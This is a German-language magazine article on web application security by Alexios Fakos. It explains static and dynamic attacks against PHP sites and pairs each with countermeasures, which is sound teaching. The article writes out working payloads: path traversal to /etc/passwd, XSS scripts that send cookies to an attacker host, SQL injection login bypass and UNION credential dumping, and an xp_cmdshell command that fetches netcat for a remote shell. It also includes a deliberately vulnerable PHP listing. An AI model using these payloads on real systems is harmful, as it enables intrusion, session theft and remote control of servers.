Sonntag, 12. Februar 2012


Artikel

April 2006 | Artikel

Web Security

(Link zum Artikel: http://www.entwickler.de/php//000396)

Angriffsmethoden und ihre Folgen

Text: von Alexios Fakos
  • Teilen
  • kommentieren
  • empfehlen
  • Bookmark and Share
Web Security ist ein wichtiges Thema, nicht nur wenn sensible Daten übermittelt werden. Häufig können, durch Nachlässigkeit bei Planung und Umsetzung einer Webanwendung, Angriffe erfolgreich durchgeführt werden. Vor allem die Unkenntnis der unterschiedlichen Angriffsmethoden und deren Wirkungsweise, sowie ein fehlendes oder minimales Sicherheitsbewusstsein lassen Angreifer Erfolg haben.

Sogar bekannte Open Source-Projekte wie PHP-Nuke [1] weisen eine erhebliche Anzahl und Arten von Vulnerabilities (Schwachstellen/Sicherheitslücken) [2]. Der Vorteil jedoch ist, dass man daraus lernen kann, um ähnliche Fehler zukünftig zu vermeiden und gegebenenfalls solche in seinen Anwendungen zu fixen. Das bedarf unter anderem einer genauen Analyse des Quellcodes und Hintergrundwissen.


Aufbauend auf den vorherigen Veröffentlichungen zu dem Thema [3] soll dieser Artikel einen Überblick darüber geben, welche Angriffsarten existieren und wie deren Angriffsprozesse aussehen. Dabei werde ich erläutern, welche Maßnahmen zu ergreifen sind, um die Erfolgschance eines Angriffs zu minimieren. Eine 100-prozentige Erfolgsgarantie gibt es aber nicht.
Weitverbreite Clichés
Fehlerhafte Aussagen, die im Zusammenhang mit dem Thema Web Security, häufig fallen sind:
  • Unsere Anwendung ist durch eine hervorragende Firewall geschützt.Die meisten Web Angriffe finden mit ca. 60 Prozent auf Port 80 statt.[4]
  • Unsere Anwendung ist durch den Einsatz eines Intrusion Detection Systems (IDS) sicher. Die Überwachung des Netzverkehrs mittels einem Intrusion Detection System (z.B. Snort [5]) kann unter Umständen bei der Analyse von Angriffen und deren Benachrichtigung hilfreich sein. Aber der Sniffer des IDS erkennt nur jene Angriffe (Signaturen), die ihm als Regeln (Patterns) bekannt sind. Darüber hinaus ist ein IDS bei einer verschlüsselte Verbindung, z.B. mit Secure Sockets Layer (SSL), nutzlos.
  • Die Sicherheit der Anwendung steigt durch eine verschlüsselte Verbindung. Solange die ankommenden Daten nicht validiert werden, hat die Anwendung mit hoher Wahrscheinlichkeit einige Sicherheitslöcher. Eine verschlüsselte Verbindung schützt vor dem packet sniffing. Aber nur, wenn der privat key des SSL-Zertifikats nicht in die falsche Hände gelangt, da sonst der Netzwerkverkehr mit ssldump [6] entschlüsselt werden kann.
  • Unser System wird in einem Rechenzentrum gepflegt und gewartet. Ein ausreichender Schutz kann bei einer Server-Misskonfiguration nicht gewährleistet werden. Das gilt auch, wenn es versäumt wird kumulative Sicherheits-Patches einzuspielen. Darum: Vertrauen ist gut, Vorsorge und ein aktives Mitdenken ist besser.
Unterschiedliche Angriffsformen
Grundsätzlich lassen sich zwei Angriffsarten abgrenzen: Statische und dynamische Angriffe. Bei einem statischen Angriff werden bekannt gewordene Sicherheitslecks einer Serversoftware untersucht und ausgenutzt (exploit). Dazu gehören z.B. das Betriebssystem und der eingesetzte Webserver mit den installierten Modulen. Statische Angriffe können sehr einfach automatisiert werden, vor allem weil es meistens relativ genaue Angaben zum Sicherheitsloch gibt [7] inkl. dem dazugehörigen Exploit-Code. Die Automation und Prüfung kann mit so genannten Audittools (z.B. Retina [8], Whisker [9]) stattfinden.


Ein dynamischer Angriff hingegen findet immer während einer Online-Sitzung (Session) statt. Erst durch Interaktion mit der Zielanwendung können potentielle Sicherheitslöcher entdeckt werden. Deswegen ist erst mit Hilfe eines Proxys, der neben den Web-Seiten auch unterschiedliche Stati (Request-Werte) der Sitzung zwischenspeichert, ein gewisser benutzerdefinierter Automatismus möglich. Für diesen Zweck ist z.B. SPIKE proXy [10] konzipiert.


Mittels der genannten Open Source-Anwendungen Whisker und SPIKE proXy lassen sich Angriffe durchführen. Sie zeichnet aus, dass der Angriff nach bestimmten Regeldefinitionen durchgeführt wird. Die gängigsten Angriffe stelle ich (in Form eines Ablaufschemas) dar.
Statischer Angriff
Statische Angriffe verfolgen den konservativen Weg. Auf Basis der ermittelten offenen Ports des Ziel-Rechners werden bekannt gewordene Sicherheitslecks getestet, um an User- oder Rootrechte zu gelangen. Bei einem Webangriff ist die Webserver-Signatur von Bedeutung und wird daher primär ausgewertet. Dieser Vorgang wird als Webserver Fingerprinting bezeichnet. Ein http-Request legt die Webserver-Signatur und somit die genauen Angaben zur Serversoftware offen. Dabei reicht eine einfache Anfrage, z.B. mit Netcat [11] auf Port 80 aus (nc Zielrechner 80), um die Signatur in Klartext lesen zu können und daraus den nächsten Schritt einzuleiten. Mit den ermittelten Daten kann der buffer overflow [12] ausgenutzt werden, wenn auf dem Server OpenSSL 0.96 installiert ist [13]. Auch das Betrachten des Sourcecodes der Web-Anwendung [14] wäre möglich.


Um sich gegen solche Angriffe zu wehren ist die einfachste präventive Maßnahme, die aktuellen Sicherheits-Patches der eingesetzten Serversoftware aufzuspielen. Zusätzlich sollte man sich in die Bugtraq-Liste [15] einschreiben. Dann verpasst man kein Release und ist zusätzlich immer auf dem aktuellsten Sicherheitsstand. Denn Sie können davon ausgehen, dass Hacker diese Liste mit Sicherheit verfolgen.


Weiterhin raten einige anerkannte Sicherheitsfirmen den Webserver zu patchen oder besser gesagt, die Webserver-Signatur weitgehend zu verschleiern, indem man beispielsweise einige Änderungen an den Quellcode des Webservers vornimmt. Im Falle von Apache 1.3.27 ändert man die Makro-Konstanten in der Datei apache_dir/src/include/httpd.h ab und kompiliert ihn neu. Für den IIS gibt es das kostenlose Microsoft-Tool Urlscan [16]. In der urlscan.ini ändern Sie den Eintrag RemoveServerHeader oder AlternateServerName entsprechend ab.
  1. #define SERVER_BASEVENDOR "Apache Group"
  2. #define SERVER_BASEPRODUCT "Apache"
  3. #define SERVER_BASEREVISION "1.3.27"
Übrigens wird auch empfohlen, die Ausgabe des installierten Skript-Interpreters zu verhindern. Für PHPler bedeutet das in der php.ini die Einstellung expose_php zu deaktivieren.


Dennoch: Ein geübter und erfahrener Angreifer wird diese Verschleierung erkennen und andere Wege finden, um an die Informationen zu gelangen. Man kann mit dieser Maßnahme lediglich darauf hoffen, dass ein automatisierter Angriff, auf Basis der Webserver-Signatur, von Anfang an scheitert.
Dynamischer Angriff
Jetzt kommen wir zu dem weit aus komplexeren Fall. Da in der Regel eine Vielzahl der vorgestellten Prozesse aufeinander aufbauen, ist es ratsam, jeden einzelnen Prozess nachvollziehen zu können.


Analog eines statischen Angriffs findet zuerst eine Analyse statt. Anhand dieser Daten wird später der tatsächliche Angriff gestartet. Bezogen auf einen dynamischen Angriff bedeutet das folgendes: Die interessanten Daten sind die (HTML)-Quelltexte und die Ordner-Struktur der Webseite. Damit werden systematischen Tests auf die Ziel-Anwendung durchgeführt.


Folge den Links
Hier wird im Prinzip die Webseite auf der lokalen Festplatte mittels spezieller Programme (sogenannte Web-Spidern) gespiegelt. Anhand dieser Aktion kann die Ordner-Struktur und der Quelltext der HTML-Dateien analysiert werden. Sofern eine gegliederte Ordner-Anordnung vorhanden ist, wird die Webanwendung in Ihrer Komplexität verstanden, je nachdem wie die Ordner-Struktur aufgebaut ist.


Pfade verkürzen

Alle gefundenen Links können dahingehend untersucht werden, ob es möglich ist in ihnen, jeweils um eine Ordner-Ebene höher aufzusteigen (Pfadverkürzung), ohne dass eine Fehlermeldung auftritt:
  • z.B. Startpunkt: /customers/id/993/details.php
  • eine Ebene höher: /customers/id/993/
  • zur zweite Ebene aufsteigen: /customers/id
  • in der letzten dritten Ebene: /customers/

Damit lassen sich weitere Dateinamen und Ordner ermitteln, die im Kontext der Website-Analyse berücksichtigt werden können, sofern die Webserver Direktive Directory Listing aktiviert ist.


Suche nach Sicherungskopien

Es kann zusätzlich nach temporären Ordner gesucht werden, wie z.B. /beta, /bkp. Falls ein solcher Ordner existiert, wird mit Sicherheit die erste Aktion ausgeführt, nämlich den Links zu folgen. Da nun (scheinbar) alle Quelldateien bekannt sind, kann der nächste Schritt eingeleitet werden.


Dateinamen erweitern

In diesem Prozess hofft man auf die Nachlässigkeit des Entwicklers beim FTP-Upload oder bei Änderungen der Sourcen auf dem Live-System. Es werden der Dateinamenpräfix und -suffix geprüft. Einige Editoren legen beim Speichern der Quelldatei eine Sicherheitskopie an. Meist lässt sich dieser Suffix vordefinieren. Häufige Endungen sind z.B. foo.php.bak, foo.php~, foo.php.old u.w. Aber auch nach bekannten Dateinamenpräfixe kann gesucht werden, z.B. debug_foo.php , Kopie von foo.php, Copy of foo.php, etc. Solche Dateien können interessant sein, da diese eine Debug-Version oder eine abgespeckte Version des Pendants sind. Wenn keine Action-Handler-Direktive beim Webserver für die Backup-Dateien (.bak, .php~ usw.) definiert wurde, dann ist sogar ein direkter Zugriff auf den Quellcode möglich. Somit lassen sich weitere interessante Informationen gewinnen, wie z.B. die Angaben zu include-Ordnern oder nach inkludierten Dateien. Besonders geübte Angreifer können sogar eine relativ genaue Aussage über die Art und Weise treffen, wie der Entwickler programmiert: ob man sich z.B. an einen Coding Standard hält, der die Variablenbezeichnungen nach einem bestimmten Muster beschreibt. Eine weitere Auskunft ergibt sich eventuell über den Skript-Interpreter. Bei PHP sieht man dadurch, welche Werte bestimmte PHP-Einstellungen haben, insbesondere der Wert von register_globals.


Suche nach generellen Dateien

Über Dateien, die von Anwendungen erzeugt werden, kann man auch Informationen gewinnen. Der absolute Pfad zum Webserver wird vom WSFTP-Client in die Datei WS_FTP.LOG gespeichert und auf dem Webserver abgelegt. Auch die Webanwendung kann Dateien anlegen (beispielsweise log-Dateien), in denen bestimmte Zustände (SQL-Statements etc.) gespeichert werden. Gerade wenn log-Dateien aufgespürt werden, ist die Ziel-Anwendung bald keine Blackbox mehr.


Versteckte Ordner / Kommentare

Nachdem die Vielzahl der Patterns der Dateinamen durchlaufen sind, wird der Inhalt der Quelldatei analysiert. Erst sind HTML-Kommentare von Bedeutung. Sie können nicht sichtbare verlinkte Seiten und Ordner aufzeigen. Aber HTML-Kommentare dienen auch hervorragend dazu, Debug-Informationen der Anwendungen vor dem Benutzer zu verstecken. Über solche Informationen wird der Angreifer erfreut sein:
  1. <!-- <a href="/foo/bar/viplogin.php" >zum VIP-Login</a> -->
  2. <!-- sql: SELECT * FROM foo -->
Damit ist nun die Webseiten-Analyse abgeschlossen und wir kommen zu dem spannenderen Teil eines jeden Angriffs.


Parameter manipulieren

Solche Aktion kennen Sie vielleicht selber, wenn Sie Ihre Anwendung testen wollen. Sie verändern beispielsweise die GET-Parameter, um zu sehen, ob die Anwendung das erwartete Ergebnis entsprechend anzeigt oder nicht. Diese einfache Methode wenden auch Angreifer an. Ihre Intension ist es nach logischen Fehlern zu suchen. Der Angreifer hingegen untersucht akribisch Ihre Anwendung nach bestimmten Merkmalen: z.B. Fehlermeldungen, die vom PHP selbst stammen, wenn error_reporting nicht auf 0 gesetzt oder display_errors aktiviert ist. Auch werden so versteckte Entwickler-Flags, wie z.B. Debug-Flag, erschnüffelt, damit die Anwendung bereitwillig diverse Informationen bekannt gibt Dieser Fall tritt nicht ein, wenn die Variable _debug in dem Script immer mit einem Wert vorinitialisiert ist: Insbesondere dann, wenn register_globals den Wert on hat und weitere Skripte inkludiert sind, die nicht nur Funktionen oder Klassen beinhalten. Deshalb ist es intelligenter, eine Konstante zu definieren, die ausschließlich in dem Script index.php gesetzt wird, bevor Skripte inkludiert werden. Somit lässt sich in den inkludierten Skripten überprüfen, ob sie außerhalb des eigentlichen Kontext aufgerufen wurden.
  1. if (!defined('MY_DEBUG_FLAG')) die ('unerlaubter Zugriff');
Nachdem die GET-Parameter manipuliert wurden, folgen die POST-Parameter. Dabei sind die ermittelten hidden-Felder von Bedeutung. Durch die Datenerhebung der Webseiten-Analyse können diese hidden-Felder verändert werden. So wird das Verhalten der Anwendung anhand der POST-Parameter untersucht. Danach werden die COOKIE-Parameter auch untersucht und manipuliert. Sie können ohne großen Aufwand mit Form Scalpel [17] Hand anlegen, um zu sehen, wie Ihre Anwendung reagiert.


Oft werden die Parameter-Werte soweit verändert, dass man nach speziellen Dateien in bestimmten Ordnern sucht, z.B. nach der /etc/passwd. Ein Link in der Form www.foo.net?download.php?file=/download/supermario.zip könnte in folgende Formen verändert werden:
  • www.foo.net?download.php?file=../../../../etc/passwd
  • www.foo.net?download.php?file=../../../../etc/shadow

Sollte der Entwickler die ankommenden Daten nicht entsprechend validieren, führt das zum Download der Dateien, sofern man sich in den richtigen Pfad gemogelt hat. Mit der PHP-Einstellung open_basedir kann man zusätzlich die Dateisystem-Zugriffe auf ein bestimmtes Verzeichnis beschränken.
Selbst das Ausführen von fremden PHP-Code ist möglich, wenn eine Request-Variable ohne Prüfung an die Funktionen include(), include_once(), require(), require_once() übergeben wird [18]. Das kann jedoch mit der Konfigurationsdirektive allow_url_fopen unterbunden werden.


Cross Site Scripting

Unter den Abkürzungen XSS und CSS verbirgt sich der Begriff Cross Site Scripting. Man versteht darunter, das Einfügen von einem oder mehreren unerlaubten ausführbaren Codes in eine Webanwendung, welches Clientseitig, beim Betrachten der Webanwendung ausgeführt wird. XSS tritt immer dann auf, wenn benutzerspezifische Eingaben nach dem Abschicken des Formulars, sofort oder später, angezeigt werden. Beispielsweise kann das die Ergebnisseite einer Suchfunktion sein, die das Suchkriterium in der Seite beinhaltet. Besonders betroffen sind Web-eMail-Clients oder Web-Foren, da hier ein Benutzer seine Eingaben als Nachricht hinterlässt und andere Benutzer diese lesen können. Wie sieht die Sicherheitslücke aus? Durch das Einschleusen von Javascript, Flash-Objekten oder ActiveX-Controls ist die Manipulation oder das Stehlen von Cookie-Daten möglich. Folgende Beispiele, die sich auf Javascript beziehen, sollen das verdeutlichen:
Betrachten Sie Listing 1. Das Beispiel zeigt, wie leicht es ist, Javascript-Code einzufügen. Ohne Validierung wird der REQUEST-Parameter js angezeigt.


Listing 1
  1. <!--
  2. //
  3. // +----------------------------------------------------------------------+
  4. // | Alexios Fakos (alexios@php.net) |
  5. // +----------------------------------------------------------------------+
  6. // | Beispiel 1, Ausgabe 05/2003 - PHP Magazin |
  7. // +----------------------------------------------------------------------+
  8. //
  9. -->
  10. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  11. <HTML>
  12. <HEAD>
  13. <TITLE>Listing 1 - XSS</TITLE>
  14. </HEAD>
  15. <BODY>
  16. <?php
  17. $val = '';
  18. if (isset($_REQUEST['js'])) {
  19. $val = $_REQUEST['js'];
  20. echo $val;
  21. }
  22. ?>
  23. <FORM METHOD="POST" ACTION="<?= $_SERVER['PHP_SELF'] ?>">
  24. <INPUT TYPE="text" NAME="js" SIZE="100" VALUE="<?= $val ?>">
  25. <BR>
  26. <INPUT TYPE="submit">
  27. </FORM>
  28. </BODY>
  29. </HTML>
In dem Textfeld kann:
  1. <script>alert(document.location)</script>
eingegeben werden. Die Folge ist, dass nach dem Abschicken des Formulars dieser Javascript-Code ausgeführt wird. Das gleiche gilt auch bei der Anfrage mit GET.
  1. http://server/listing1.php?js=%3Cscript%3Ealert(document.cookie)%3C/script%3E
Für ein Forum bedeutet das, dass jeder Benutzer diese JavaScript-Messagebox sieht. Um jetzt an benutzerspezifische Informationen zu gelangen, kann man den JavaScript-Code wie folgt verändern:
  1. <script>document.location.href="http://boeserjunge.de/kruemmelmonster.php?kecks="+document.cookie+"&backstube="+document.location</script>.
Dabei wird kurzzeitig die Domäne boesejunge.de aufgerufen und die COOKIE-Daten übermittelt. Das dortige PHP-Skript kruemmelmonster.php wertet die GET-Parameter aus und informiert den bösen Jungen. Dann wird der ahnungslose Betrachter der Seite an die Ursprungsseite zurückgeleitet, sodass er nichts ungewöhnliches bemerkt, sofern dieser Vorgang nicht allzu lange dauert. Der Angreifer kann sich mit den gestohlenen COOKIE-Daten in dem System anmelden. Eine öffentlich zugängliche Ansammlung (ca. 22 MB) von gestohlenen Cookie-Daten finden Sie unter www.cgisecurity.com/articles/cookie-theft.log. Alle Daten wurden mit dem JavaScript:
  1. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
  2. +document.cookie</script>
erzeugt.


Kritische Leser haben vielleicht bei den letzten beiden Beispielen bemerkt, dass diese bei einer besonderen Konstellation zu einem Javascript-Fehler führen. Die einfachen oder doppelten Anführungszeichen, die in unserem Fall per GET und POST übergeben worden sind, werden (wenn magic_quotes_gpc eingeschaltet ist) mit einem Backslash vorangestellt. Dieser Sonderfall kann mit der Kombination von zwei JavaScript-Funktionen umgangen werden (Listing 2). Sie lauten, eval() und String.fromCharCode():
  1. alert("Hey, das geht doch:)")
kann man als
  1. eval(String.fromCharCode(97,108,101,114,116,40,34,72,101,121,44,32,100,97,115,32,103,101,104,116,32,100,111,99,104,58,41,34,41));
darstellen.


Listing 2
  1. <?php
  2. //
  3. // +----------------------------------------------------------------------+
  4. // | Alexios Fakos (alexios@php.net) |
  5. // +----------------------------------------------------------------------+
  6. // | Beispiel 2, Ausgabe 05/2003 - PHP Magazin |
  7. // +----------------------------------------------------------------------+
  8. //
  9. $js_code= 'String.fromCharCode(%s)';
  10. $values = $s = '';
  11. $len = 0;
  12. if (isset($_POST['js'])) {
  13. if (get_magic_quotes_gpc()) {
  14. $s = stripslashes($_POST['js']);
  15. }
  16. $len = strlen($s);
  17. for ($i=0; $i<$len; $i++) {
  18. $values .= ord($s[$i]) . ',';
  19. }
  20. if ($len > 0) {
  21. $values = substr($values, 0, -1);
  22. $values = sprintf($js_code, $values);
  23. }
  24. }
  25. ?>
  26. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  27. <HTML>
  28. <HEAD>
  29. <TITLE>Listing 2 - XSS</TITLE>
  30. <SCRIPT>
  31. var x = <?= ($len>0) ? $values : '""' ?>;
  32. if (x.length > 0) {
  33. eval(x);
  34. }
  35. </SCRIPT>
  36. </HEAD>
  37. <BODY>
  38. Schreiben Sie z.B. <I>document.cookie="foo=test";alert(document.cookie);</I> in das Textfeld rein
  39. <FORM METHOD="POST" ACTION="<?= $_SERVER['PHP_SELF'] ?>">
  40. <INPUT TYPE="text" NAME="js" SIZE="100" VALUE="<?=htmlspecialchars($s, ENT_QUOTES)?>">
  41. <BR>
  42. <INPUT TYPE="submit">
  43. </FORM>
  44. <P> </P>
  45. Die Javascript-Variable x hat den Wert <I><SCRIPT>document.write(x)</SCRIPT></I>
  46. </BODY>
  47. </HTML>
Der Angreifer kann JavaScript-Code nicht nur zwischen dem <script>-Tag, sondern auch in weiteren HTML-Tags einbetten:
  1. <img src=javascript:[SCRIPT]>
  2. <a style=background:url(javascript:[SCRIPT])></a>
  3. <a href=http://www.foofighters.com onclick=javascript:[SCRIPT]></a>
  4. <a style=background:url(javascript:[SCRIPT])></a>
Die effektivste Methode sich gegen XSS zu schützen, ist nicht nur die Validierung der ankommenden Daten. Da die Ausgabe der benutzerspezifischen Daten meist erforderlich ist, sollten zudem alle nicht alphanumerische Zeichen als HTML-Entities dargestellt werden. Man stellt so Zeichen wie < und > als < bzw. > dar. Das erledigt die PHP-Funktion htmlspecialchars(), die am Besten mit dem zweiten Parameter ENT_QUOTES aufgerufen wird. Die radikalste Methode wäre in dem Fall alle HTML-Tags mit strip_tags() zu entfernen.


Session Hijacking

Hinter einer Session-Entführung verbirgt sich die Übernahme einer SessionID von einem Angreifer. Er kann somit an bestimmte Rechte gelangen, sodass er sich als authentifizierter User in einem passwortgeschützten Bereich bewegt. Häufig passiert dies durch die vorgestellte XSS-Methode per Cookie- oder URL-Übernahme in Verbindung mit einer allzu hohen eingestellten Session-Laufzeit. Meistens wird nicht überprüft, ob die Session von dem gleichen Benutzer initialisiert wurde. Ein Gegencheck auf IP, Browsertyp und dem http-Referer ist sinnvoll, aber aufgrund des Einsatzes von Proxies keine 100-prozentige Garantie dafür, dass es sich um den gleichen Benutzer handelt. Deswegen ist bei besonders kritischen Operationen (z.B. bei einem abschließenden Bestellvorgang) eine Authentifizierung geboten. Zu diesem Thema gilt es die nachfolgenden PHP-Session-Einstellungen zu prüfen: session.gc_probability, session.gc_maxlifetime, session.referer_check. Ab der PHP-Version ist session.use_only_cookies eingeführt worden [20].


SQL Injection

Eine weitere beliebte Methode ist das Injektieren von SQL-Code. Durch das geschickte Manipulieren von Request-Parametern mittels SQL-Code kann der Angreifer das Verhalten der Anwendung beeinflussen oder bei besonderen Fällen sogar steuern. Dadurch können Daten ausgegeben werden, die für Unbefugte geschützt sein sollten. Oder man erlangt bei größeren Webanwendungen administrative Rechte. Es folgen einige Beispiele. Dabei ist es belanglos ob die Werte per POST oder GET übermittelt werden. Der besseren Lesbarkeit und Verständlichkeit wegen habe ich die Werte per GET übergeben.
Beispiel 1: Die Ziel-Anwendung verwendet MySQL als Datenbanksystem. Ein Login-Prozess wird anhand einer Kundennummer und dem übergebenen Passwort überprüft. Die URL sieht folgendermaßen aus:
  • www.foo.net/validate_customer.php?cid=4%20OR%201#&pwd=foo

Das zusammengesetzte SQL-Statement sieht dann aus:
  1. SELECT * FROM customers WHERE cid=4 OR 1# AND password='foo'
Da nach dem Oder das Kommentarzeichen # folgt, ist das Anhängen der Zeichenkette OR 1# die WHERE-Bedingung immer positiv. Das führt dazu, dass der nachkommende AND-Ausdruck erst gar nicht interpretiert wird. Die Folge ist, dass man sich in einen passwortgeschützten Bereich hineingemogelt hat, ohne die erforderliche Angabe eines Passwortes.
Beispiel 2: Erneut wird MySQL (diesmal ab der Version 4.0) verwendet. Über eine gefundene Backup-Datei ist dem Angreifer bekannt, dass eine Tabelle users mit den Spaltenbezeichnungen username und password existiert. Das Skript show_items.php gibt zwei Datenreihen aus. Die URL wird wie folgt infiziert:
  • www.foo.net/show_items.php?catno=3%20UNION%20ALL%20SELECT%20username,password%20FROM%20users

Und das führt zum folgenden SQL-Statement:
  1. SELECT catname,description FROM categories WHERE catno=3 UNION ALL SELECT username,password FROM users
Dadurch werden zu den bisherigen Daten zusätzlich auch alle angemeldeten Benutzer inkl. Passwörter ausgegeben. Ebenso können u.U. spezifische Befehle vom Datenbanksystem ausgeführt werden. Für das nächste Beispiel habe ich den MS SQL Server verwendet:
  • www.foo.net/index.php?uid=4;EXEC%20master..xp_cmdshell%20'tftp%20-i%20[boeserjunge.de-IP]%20GET%20nc.exe%20c:/nc.exe'

Mit dem Semikolon endet die erste Query. Die nachfolgende Stored Procedure xp_cmdshell wird aufgrund vorhandener Rechte ausgeführt. Wenn magic_quotes_gpc ausgeschaltet ist, könnte Netcat (nc.exe) als Trojaner fungieren und man hätte somit eine remote shell zur Verfügung. Um die Hintertür zu aktivieren, müsste Netcat nur noch mit der gleichen Methode entsprechend gestartet werden.


Das alles kann nicht passieren, wenn man die ankommenden Daten validiert, wie im Abschnitt Cross Site Scripting erklärt wurde. Ein weiterer Schutz bietet die Einstellung magic_quotes_gpc, wenn Sie aktiviert bleibt, da durch sie alle ankommenden Anführungszeichen automatisch escaped werden. Somit ist auch das Einschleusen von Netcat, wie im letzten Beispiel gezeigt, nicht möglich. Alternativ kann man die Request-Variablen mit addslashes() behandeln, wobei in diesem Fall, die Einstellung magic_quotes_sybase aktiviert sein sollte. Denn beim MS SQL Server wird ein einfaches Anführungszeichen mit zwei einfachen Anführungszeichen escaped. Bei anderen DBMS bietet PHP diverse Funktionen zur Quote-Behandlung an, wie z.B. mysql_[real_]escape_string() und pg_escape_string(). Zusätzlich sollte nicht vergessen werden, die Rechte der Datenbankbenutzer auf eine Minimum einzuschränken, sodass die Ausführung von sicherheitskritischen Stored Procedures nicht möglich sind. Bei besonderen Ausnahmefällen empfiehlt es sich, die Datenbank spezifischen Meta-Zeichen (wie das Abschlusszeichen einer Query [;], Kommentarzeichen [#, --] etc.) zu entfernen oder, wenn es das Datenbanksystem zulässt, zu escapen. (wie z.B. bei den MySQL LIKE wildcards [% => \%, _ => \_]). Aber auch Datenbankfunktionen sollten so weit wie möglich eliminiert werden. Anhand von MySQLs String-Funktion CHAR() reicht es aus, dieses Klammernpaar zu entfernen, da das SQL-Statement SELECT x FROM tbl WHERE x=2 äquivalent zu SELECT x FROM tbl WHERE x=CHAR(50) ist.


Java Applet reverse engineering

Durch Dekompilierung von Java-Applets [21] können Angreifer Datenbankbenutzername /-passwort und weitere Informationen erbeuten, sofern die angezeigten Daten aus einer Datenbank bezogen werden. Darüber hinaus lassen sich gegebenenfalls weitere versteckte Pfade innerhalb der Webanwendung erkennen. Daher sollten kritische Informationen nicht im Klartext des Java-Quellcodes zu sehen sein, sondern sich in einer zugriffsgesicherten externen Datei befinden.
Fazit
Die meisten vorgestellten Sicherheitslücken haben eins gemeinsam. Sie entstehen häufig durch den Entwickler: Sei es durch Unaufmerksamkeit oder durch mangelhaftes Validieren der übermittelten Daten. Zusätzlich werden viele angriffskritische Methoden verwendet, die Angreifer dazu einladen die Webanwendung nach Fehlern zu untersuchen. Es sollte wohl überlegt sein, ob eine erhöhte Anzahl von GET- Parametern und hidden-Feldern notwendig ist, und ob diverse Zustände nicht mittels einer Session zu speichern sind (wobei Vorsichtsmaßnahmen gegen das Session Hijacking existieren sollten). Zusätzlich können GET-Parameter verschleiert werden [22]. Besser noch führt man einen zusätzlichen hash-Parameter mit, der das Verändern des Query-Strings nachträglich erkennen lässt.


Zum Abschluss noch der Hinweis auf das Programm Rats [23], welches anhand einer Regeldefinition PHP-Quelltext scannen und eventuell. sicherheitskritische Stellen erkennen kann. Mit den ausgegebenen Warnmeldungen können Sie schnell mögliche Sicherheitsprobleme erfassen, wenn keine vorherige Validierung stattgefunden hat. Sollten Sie Interesse an dem Thema gefunden haben, empfehle ich Ihnen die Web-Seite von dem The Open Web Application Security Project (OWASP) [24] zu besuchen und die viele kostenlosen Dokumente (wie z.B. Building Secure Web Applications And Web Services) herunterzuladen. Ferner können Sie mit der dort verfügbaren Webanwendung WebGoat fast alle hier vorgestellten Angriffsmethoden spielerisch erarbeiten.

Alexios Fakos ist Kontributor des PEAR::DB-PlugIns DB_ado. Momentan studiert er Wirtschaftsinformatik an der FH Giessen-Friedberg und arbeitet in der Software-Entwicklung bei milch & zucker - die neue und alte medien agentur ag.
Links und Literatur

Kommentare